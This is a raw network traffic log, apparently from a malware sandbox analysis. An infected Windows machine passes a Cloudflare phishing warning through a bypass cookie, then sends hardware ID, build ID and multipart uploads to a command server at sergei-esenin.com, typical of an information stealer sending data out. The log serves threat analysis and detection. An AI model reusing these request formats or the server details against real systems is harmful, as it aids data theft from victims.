2024-10-17 16:40:32 UTC	1369	IN	Data Raw: 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c Data Ascii: cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getEl
2024-10-17 16:40:32 UTC	1369	IN	Data Raw: 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: /access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain">
2024-10-17 16:40:32 UTC	903	IN	Data Raw: 32 35 30 2e 38 32 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d Data Ascii: 250.82</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-
2024-10-17 16:40:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.7	50056	172.67.206.204	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:40:34 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=D6AvaLTEQwbMQZlOey6wUNZk6Tku8bB4dw3etPa236A-1729183232-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sergei-esenin.com
2024-10-17 16:40:34 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-17 16:40:35 UTC	823	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:40:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=23pbs3ajb9gkpmcol0b5qfo3vp; expires=Mon, 10 Feb 2025 10:27:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hsK2E2f16yYEFICKGvaylW0JYhv9wTgIXPNonja9XrUQ6ehvCL8er3XHbwxhhStBWTjjhVRpgA2Fpc7crHHO8CRE5gjDHHBYGDbZpbVpu4l1%2BDsYgFTf78pQLNSFI9vk2E9XIw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d41bb330adf6b19-DFW alt-svc: h3=":443"; ma=86400
2024-10-17 16:40:35 UTC	546	IN	Data Raw: 31 35 30 66 0d 0a 69 6b 6d 35 70 49 61 38 50 4c 4b 51 55 6b 51 36 66 57 51 54 7a 67 57 55 4b 51 53 6d 53 6e 38 44 71 42 63 2f 79 4d 4e 50 43 32 66 78 61 38 2b 47 76 49 67 51 6b 4f 4d 33 5a 67 41 4a 46 6d 61 72 4b 62 5a 49 59 49 52 77 47 57 4c 45 5a 46 72 6b 34 54 6c 6d 52 62 41 76 32 4d 6a 31 32 52 43 51 39 53 70 6d 41 43 59 66 4d 61 74 72 74 68 4d 6d 77 79 41 64 59 73 52 31 58 71 4f 73 50 32 63 45 34 69 58 65 7a 4f 50 66 57 4e 50 38 50 79 46 66 47 41 56 35 6f 47 7a 35 51 57 6d 45 5a 6c 31 6d 30 6a 55 46 36 6f 34 71 66 77 62 48 4b 4d 72 50 70 4d 45 51 79 62 49 33 4b 68 68 48 52 6e 4b 72 5a 2f 68 50 59 4d 30 69 46 32 76 4d 64 46 75 69 73 79 5a 74 44 2b 49 72 33 63 33 70 31 6b 7a 65 39 6a 67 71 57 52 49 46 4d 65 49 6e 38 56 4d 6d 6e 47 68 4f 55 38 6c 6b 54 Data Ascii: 150fikm5pIa8PLKQUkQ6fWQTzgWUKQSmSn8DqBc/yMNPC2fxa8+GvIgQkOM3ZgAJFmarKbZIYIRwGWLEZFrk4TlmRbAv2Mj12RCQ9SpmACYfMatrthMmwyAdYsR1XqOsP2cE4iXezOPfWNP8PyFfGAV5oGz5QWmEZl1m0jUF6o4qfwbHKMrPpMEQybI3KhhHRnKrZ/hPYM0iF2vMdFuisyZtD+Ir3c3p1kze9jgqWRIFMeIn8VMmnGhOU8lkT
2024-10-17 16:40:35 UTC	1369	IN	Data Raw: 61 46 4d 68 7a 57 30 64 38 75 45 44 62 67 62 36 61 65 37 46 36 74 42 5a 78 72 49 76 61 45 46 66 41 58 33 73 50 37 5a 46 59 38 73 36 48 48 50 50 65 30 2b 6d 70 43 74 6b 42 75 59 72 33 73 48 70 30 46 6a 58 38 54 67 69 57 52 45 4b 65 36 39 6a 39 51 73 6f 68 43 38 46 49 5a 49 31 62 4b 6d 6c 4b 6e 73 47 35 6d 76 45 69 50 32 65 57 64 79 79 61 47 5a 53 47 51 74 34 70 32 44 2b 52 33 54 50 4a 78 35 6f 7a 58 4e 58 71 61 6b 6e 62 77 76 70 4c 4e 37 42 39 74 42 56 33 66 45 36 49 42 68 52 52 6e 61 30 4a 36 34 4c 53 4d 63 35 43 31 50 4a 5a 45 7a 71 76 6d 4e 77 52 65 38 6e 6d 35 36 6b 31 31 62 66 2f 7a 30 73 56 68 6f 4c 65 4b 31 6d 2b 30 31 74 78 53 41 56 5a 63 31 31 57 61 65 75 49 32 6b 4c 34 43 37 66 7a 4f 32 65 45 4a 44 31 4b 47 59 41 58 7a 5a 38 6f 47 7a 36 43 56 50 Data Ascii: aFMhzW0d8uEDbgb6ae7F6tBZxrIvaEFfAX3sP7ZFY8s6HHPPe0+mpCtkBuYr3sHp0FjX8TgiWREKe69j9QsohC8FIZI1bKmlKnsG5mvEiP2eWdyyaGZSGQt4p2D+R3TPJx5ozXNXqaknbwvpLN7B9tBV3fE6IBhRRna0J64LSMc5C1PJZEzqvmNwRe8nm56k11bf/z0sVhoLeK1m+01txSAVZc11WaeuI2kL4C7fzO2eEJD1KGYAXzZ8oGz6CVP
2024-10-17 16:40:35 UTC	1369	IN	Data Raw: 63 52 6e 57 71 71 6f 49 32 59 4a 34 53 62 63 79 2b 2f 55 55 39 54 31 4d 57 59 57 58 77 46 70 37 44 2b 32 66 58 62 4a 4a 44 4e 71 78 6e 77 64 74 65 38 30 4b 51 4c 6b 61 34 4f 47 34 4e 4a 57 32 76 30 35 4c 46 49 51 44 33 47 6b 62 76 39 49 5a 73 67 75 48 47 33 47 65 46 69 70 70 43 42 73 42 65 51 73 33 4d 65 6b 6b 42 37 58 36 6e 42 2b 47 43 38 4c 66 61 64 72 74 48 35 6c 79 69 59 61 64 34 70 71 45 37 50 68 4b 6d 56 46 73 47 76 55 78 2b 6e 55 56 64 37 2b 4d 53 5a 63 48 41 78 78 6f 32 4c 77 51 32 2f 45 4f 68 70 75 79 33 52 57 6f 61 77 6a 62 41 54 74 4c 4a 75 49 70 4e 6c 47 6b 4b 70 77 43 33 45 6c 52 6d 37 69 66 72 5a 4d 61 6f 52 77 58 57 58 41 64 56 43 67 71 69 4a 71 41 75 59 72 31 73 7a 32 31 6c 37 51 2f 44 59 6e 56 42 6f 48 66 61 39 31 2b 6b 31 72 77 69 41 50 Data Ascii: cRnWqqoI2YJ4Sbcy+/UU9T1MWYWXwFp7D+2fXbJJDNqxnwdte80KQLka4OG4NJW2v05LFIQD3Gkbv9IZsguHG3GeFippCBsBeQs3MekkB7X6nB+GC8LfadrtH5lyiYad4pqE7PhKmVFsGvUx+nUVd7+MSZcHAxxo2LwQ2/EOhpuy3RWoawjbATtLJuIpNlGkKpwC3ElRm7ifrZMaoRwXWXAdVCgqiJqAuYr1sz21l7Q/DYnVBoHfa91+k1rwiAP
2024-10-17 16:40:35 UTC	1369	IN	Data Raw: 65 67 72 79 68 6d 41 4f 73 6b 33 4d 76 69 30 6c 54 5a 2b 6a 59 70 55 51 30 46 66 61 4a 67 2b 45 64 6f 79 53 49 65 62 49 6f 37 48 61 32 35 62 54 46 46 78 43 7a 57 36 4f 2f 53 57 5a 44 74 66 6a 38 59 47 41 6f 78 39 43 66 36 51 57 72 4e 4b 42 52 6b 77 6e 35 55 72 36 41 6d 62 41 62 75 4a 74 54 50 39 74 52 64 33 76 45 38 4b 6c 34 65 42 57 4f 6b 62 72 59 46 4a 73 4d 77 58 54 6d 4b 56 46 4f 6e 74 53 70 35 52 66 64 6c 77 6f 62 6a 30 68 36 49 73 6a 4d 6e 56 78 77 48 66 4b 70 75 2f 6b 74 67 77 53 63 51 62 38 31 79 58 61 65 76 49 6d 38 4e 35 53 66 51 79 4f 33 59 58 74 48 34 63 47 67 59 47 42 34 78 39 43 66 47 53 47 62 45 4d 31 31 2b 68 47 77 64 72 61 31 74 4d 55 58 36 49 64 4c 47 35 39 46 5a 31 50 6b 38 49 31 30 51 42 58 69 70 62 76 68 5a 62 38 6f 67 46 57 37 50 66 Data Ascii: egryhmAOsk3Mvi0lTZ+jYpUQ0FfaJg+EdoySIebIo7Ha25bTFFxCzW6O/SWZDtfj8YGAox9Cf6QWrNKBRkwn5Ur6AmbAbuJtTP9tRd3vE8Kl4eBWOkbrYFJsMwXTmKVFOntSp5Rfdlwobj0h6IsjMnVxwHfKpu/ktgwScQb81yXaevIm8N5SfQyO3YXtH4cGgYGB4x9CfGSGbEM11+hGwdra1tMUX6IdLG59FZ1Pk8I10QBXipbvhZb8ogFW7Pf
2024-10-17 16:40:35 UTC	746	IN	Data Raw: 69 61 67 62 70 49 63 6e 55 36 4e 64 57 31 66 34 37 4b 46 34 4e 41 48 36 6c 5a 50 56 43 59 63 77 6b 46 32 4c 4e 4e 52 50 71 70 6a 55 70 58 61 67 49 7a 4e 62 70 6e 6b 47 65 36 33 41 68 56 46 39 65 4d 61 52 71 2f 6b 46 69 77 79 55 61 5a 38 4e 6e 56 4b 2b 76 4c 57 30 4f 35 79 33 66 78 65 54 4d 57 4e 54 36 4d 79 74 56 45 51 56 31 37 43 6d 32 54 48 36 45 63 46 31 54 78 33 74 47 70 61 59 38 59 30 58 33 5a 63 4b 47 34 39 49 65 69 4c 49 30 4b 45 6f 55 42 33 71 6e 61 66 46 45 59 38 34 6f 45 6d 58 4a 65 31 61 72 6f 69 56 6b 43 4f 59 68 30 73 2f 6a 30 6c 72 58 73 6e 35 6d 58 77 64 47 4b 65 78 4d 31 32 5a 4b 77 7a 4a 64 66 6f 52 73 48 61 32 74 62 54 46 46 35 43 4c 58 7a 4f 2f 5a 56 4e 37 37 50 69 31 4b 44 51 56 31 72 32 37 31 54 47 2f 4b 4b 42 70 6b 78 48 4a 63 6f 61 Data Ascii: iagbpIcnU6NdW1f47KF4NAH6lZPVCYcwkF2LNNRPqpjUpXagIzNbpnkGe63AhVF9eMaRq/kFiwyUaZ8NnVK+vLW0O5y3fxeTMWNT6MytVEQV17Cm2TH6EcF1Tx3tGpaY8Y0X3ZcKG49IeiLI0KEoUB3qnafFEY84oEmXJe1aroiVkCOYh0s/j0lrXsn5mXwdGKexM12ZKwzJdfoRsHa2tbTFF5CLXzO/ZVN77Pi1KDQV1r271TG/KKBpkxHJcoa
2024-10-17 16:40:35 UTC	1369	IN	Data Raw: 32 39 30 62 0d 0a 59 52 30 5a 38 6f 47 72 79 57 57 72 45 4b 42 52 6d 77 47 64 53 70 61 77 75 61 51 44 36 4b 73 6e 4a 37 39 74 64 31 50 30 2f 4b 6c 41 56 52 6a 2f 73 59 4f 34 4c 50 6f 51 45 48 6e 44 41 4e 33 71 77 74 79 70 6c 46 4f 4d 6d 31 34 62 37 6b 45 65 51 39 54 78 6d 41 46 38 47 63 4b 46 31 38 30 70 73 7a 69 55 56 62 73 39 77 55 71 36 6c 4a 6d 63 58 35 69 54 62 77 4f 2f 66 57 39 50 35 4f 69 68 52 44 55 59 2f 37 47 44 75 43 7a 36 45 41 67 5a 67 78 33 6b 66 68 4b 6f 37 62 6b 66 4a 4a 64 44 42 36 4d 67 65 7a 37 77 70 5a 6c 38 54 52 69 6e 73 62 76 68 48 5a 63 4d 67 46 57 54 4b 66 6c 32 6c 71 79 4e 75 46 2b 49 6e 30 64 54 72 33 56 50 55 2f 7a 6f 6a 55 51 30 44 65 4b 6f 6e 75 41 74 68 33 47 68 46 49 66 4a 2b 55 35 69 69 4e 69 6b 61 70 6a 4b 62 77 65 69 65 Data Ascii: 290bYR0Z8oGryWWrEKBRmwGdSpawuaQD6KsnJ79td1P0/KlAVRj/sYO4LPoQEHnDAN3qwtyplFOMm14b7kEeQ9TxmAF8GcKF180psziUVbs9wUq6lJmcX5iTbwO/fW9P5OihRDUY/7GDuCz6EAgZgx3kfhKo7bkfJJdDB6Mgez7wpZl8TRinsbvhHZcMgFWTKfl2lqyNuF+In0dTr3VPU/zojUQ0DeKonuAth3GhFIfJ+U5iiNikapjKbweie
2024-10-17 16:40:35 UTC	1369	IN	Data Raw: 6f 30 55 52 59 4c 66 36 52 31 39 51 73 6f 68 43 38 46 49 5a 49 31 62 36 43 69 49 58 38 49 35 32 76 45 69 50 32 65 57 64 79 79 61 47 5a 4b 44 51 5a 36 72 47 44 34 57 57 66 4d 4a 78 64 68 7a 48 35 58 71 61 67 70 5a 77 7a 75 4b 74 62 48 35 64 35 62 30 50 73 69 4b 78 68 52 52 6e 61 30 4a 36 34 4c 55 63 67 6a 4c 47 4c 63 4e 55 4c 6b 75 47 31 75 43 61 68 7a 6d 38 66 32 30 31 62 55 38 6a 30 67 55 78 34 48 63 71 78 6e 39 55 74 6a 7a 79 63 62 5a 73 64 2f 56 4b 4f 7a 4a 57 30 58 36 43 66 66 68 71 71 65 57 63 69 79 61 47 5a 6f 48 41 31 39 72 47 72 6a 43 33 6d 4b 4d 56 31 6d 78 6a 55 46 36 71 6b 6d 59 67 50 6a 4b 4e 6a 49 37 39 52 52 33 2f 67 32 49 46 41 61 42 6e 32 73 59 76 42 50 59 73 6f 76 45 32 7a 4c 5a 31 36 6a 34 57 4d 70 41 76 42 72 67 34 62 45 31 55 6a 56 39 Data Ascii: o0URYLf6R19QsohC8FIZI1b6CiIX8I52vEiP2eWdyyaGZKDQZ6rGD4WWfMJxdhzH5XqagpZwzuKtbH5d5b0PsiKxhRRna0J64LUcgjLGLcNULkuG1uCahzm8f201bU8j0gUx4Hcqxn9UtjzycbZsd/VKOzJW0X6CffhqqeWciyaGZoHA19rGrjC3mKMV1mxjUF6qkmYgPjKNjI79RR3/g2IFAaBn2sYvBPYsovE2zLZ16j4WMpAvBrg4bE1UjV9
2024-10-17 16:40:35 UTC	1369	IN	Data Raw: 52 48 7a 47 36 4a 36 34 5a 4b 49 51 36 58 54 6d 4b 4d 6c 36 34 73 79 74 71 45 2b 74 73 35 66 6a 45 31 56 4c 54 2f 6a 45 68 47 46 46 47 66 75 77 2f 7a 77 74 6c 31 6a 70 53 63 4e 78 34 54 61 33 74 4a 58 67 49 35 47 75 56 68 71 6a 61 56 64 7a 33 4e 7a 59 58 44 52 5a 36 6f 48 47 36 54 33 53 45 5a 6c 31 77 77 58 70 50 70 4b 5a 69 65 42 50 6c 4f 39 6a 44 34 35 4a 57 77 66 38 38 5a 68 5a 66 45 33 71 67 59 66 74 65 4b 64 55 2b 48 6e 66 4e 4f 56 57 37 72 43 45 70 4f 71 5a 72 77 34 61 38 6e 6d 76 54 2f 44 34 68 54 67 35 4c 55 61 64 72 39 55 64 6e 77 32 68 54 49 63 77 31 42 66 6e 76 62 57 30 55 71 48 4f 4c 6c 4c 2b 4c 44 59 65 69 59 6a 6b 57 42 6b 5a 6e 37 44 2b 6b 42 53 62 57 61 45 55 68 6a 58 5a 50 75 4b 63 75 66 77 61 76 46 65 58 48 36 64 45 53 33 76 6b 77 49 55 Data Ascii: RHzG6J64ZKIQ6XTmKMl64sytqE+ts5fjE1VLT/jEhGFFGfuw/zwtl1jpScNx4Ta3tJXgI5GuVhqjaVdz3NzYXDRZ6oHG6T3SEZl1wwXpPpKZieBPlO9jD45JWwf88ZhZfE3qgYfteKdU+HnfNOVW7rCEpOqZrw4a8nmvT/D4hTg5LUadr9Udnw2hTIcw1BfnvbW0UqHOLlL+LDYeiYjkWBkZn7D+kBSbWaEUhjXZPuKcufwavFeXH6dES3vkwIU
2024-10-17 16:40:35 UTC	1369	IN	Data Raw: 6b 6c 6e 58 51 58 62 4a 4a 78 70 66 39 45 4a 4d 72 62 46 76 54 77 62 2b 4b 4a 75 49 70 4d 59 65 69 4c 49 52 4c 45 67 53 43 58 62 73 4b 62 5a 50 4a 70 78 6f 4f 47 7a 48 63 46 4f 74 34 77 78 6a 46 65 55 6b 33 49 61 71 6e 6c 4b 51 71 6e 41 6e 55 67 38 4c 66 71 73 72 38 56 46 68 68 47 5a 64 62 34 6f 74 48 61 75 72 50 57 51 4b 37 32 66 64 79 4f 71 65 51 5a 37 72 63 44 41 59 52 31 55 2f 37 48 57 32 45 79 61 44 4a 68 42 67 79 58 74 65 75 4c 4d 72 61 68 50 72 62 4f 58 34 77 64 4e 54 31 66 77 33 47 47 59 2b 44 47 47 68 61 50 45 4a 52 73 4d 2b 48 6c 2f 30 51 6b 79 74 73 57 39 50 42 76 34 6f 6d 34 69 6b 78 68 36 49 73 68 45 73 53 42 49 4a 64 75 35 48 38 56 31 6c 68 47 5a 64 5a 59 6f 74 48 59 2b 73 49 47 77 4c 37 32 6e 36 7a 50 54 54 55 64 65 77 45 43 46 4f 48 45 59 Data Ascii: klnXQXbJJxpf9EJMrbFvTwb+KJuIpMYeiLIRLEgSCXbsKbZPJpxoOGzHcFOt4wxjFeUk3IaqnlKQqnAnUg8Lfqsr8VFhhGZdb4otHaurPWQK72fdyOqeQZ7rcDAYR1U/7HW2EyaDJhBgyXteuLMrahPrbOX4wdNT1fw3GGY+DGGhaPEJRsM+Hl/0QkytsW9PBv4om4ikxh6IshEsSBIJdu5H8V1lhGZdZYotHY+sIGwL72n6zPTTUdewECFOHEY

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.7	50057	172.67.206.204	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:40:36 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=D6AvaLTEQwbMQZlOey6wUNZk6Tku8bB4dw3etPa236A-1729183232-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12849 Host: sergei-esenin.com
2024-10-17 16:40:36 UTC	12849	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 39 37 33 37 41 36 41 45 32 41 30 35 31 35 35 35 46 41 42 41 44 46 43 36 34 38 42 30 45 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"99737A6AE2A051555FABADFC648B0EFF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-17 16:40:37 UTC	829	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:40:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7b63a90d8ha5vmke99nmbrvo8t; expires=Mon, 10 Feb 2025 10:27:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zgykKs5vI%2BV0%2FoJYaCyPYdRXq0SeVAiF96xiwbGMs3xrIrBdS96Wg5orTSWepQV0OZmbaGy9OuNoU5oOe%2BvUspKpXPVWFtpiU9g7O%2BEUtSp11EGPcGxYoUnUYDZt6zyn881MXQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d41bb3c2c51e51c-DFW alt-svc: h3=":443"; ma=86400
2024-10-17 16:40:37 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-10-17 16:40:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.7	50058	172.67.206.204	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:40:37 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=D6AvaLTEQwbMQZlOey6wUNZk6Tku8bB4dw3etPa236A-1729183232-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15081 Host: sergei-esenin.com
2024-10-17 16:40:37 UTC	15081	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 39 37 33 37 41 36 41 45 32 41 30 35 31 35 35 35 46 41 42 41 44 46 43 36 34 38 42 30 45 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"99737A6AE2A051555FABADFC648B0EFF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-17 16:40:38 UTC	829	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:40:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fuffrvuet9v6o4f0pm87avtd5h; expires=Mon, 10 Feb 2025 10:27:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=x3W6Zx2yFXuKXZXBZgM0ngskV3umEQw051XpKs7cG8B8UHOW55hoASaDHqIgjIGQ%2FbdDwPT%2BiOGdDKtHk6p17zw%2BloLpfv97JTki27LhP3iwUX7yhHi4d%2Fx60uzput8zGNkeJg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d41bb443fde7d5a-DFW alt-svc: h3=":443"; ma=86400
2024-10-17 16:40:38 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-10-17 16:40:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.7	50059	172.67.206.204	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:40:39 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=D6AvaLTEQwbMQZlOey6wUNZk6Tku8bB4dw3etPa236A-1729183232-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20406 Host: sergei-esenin.com
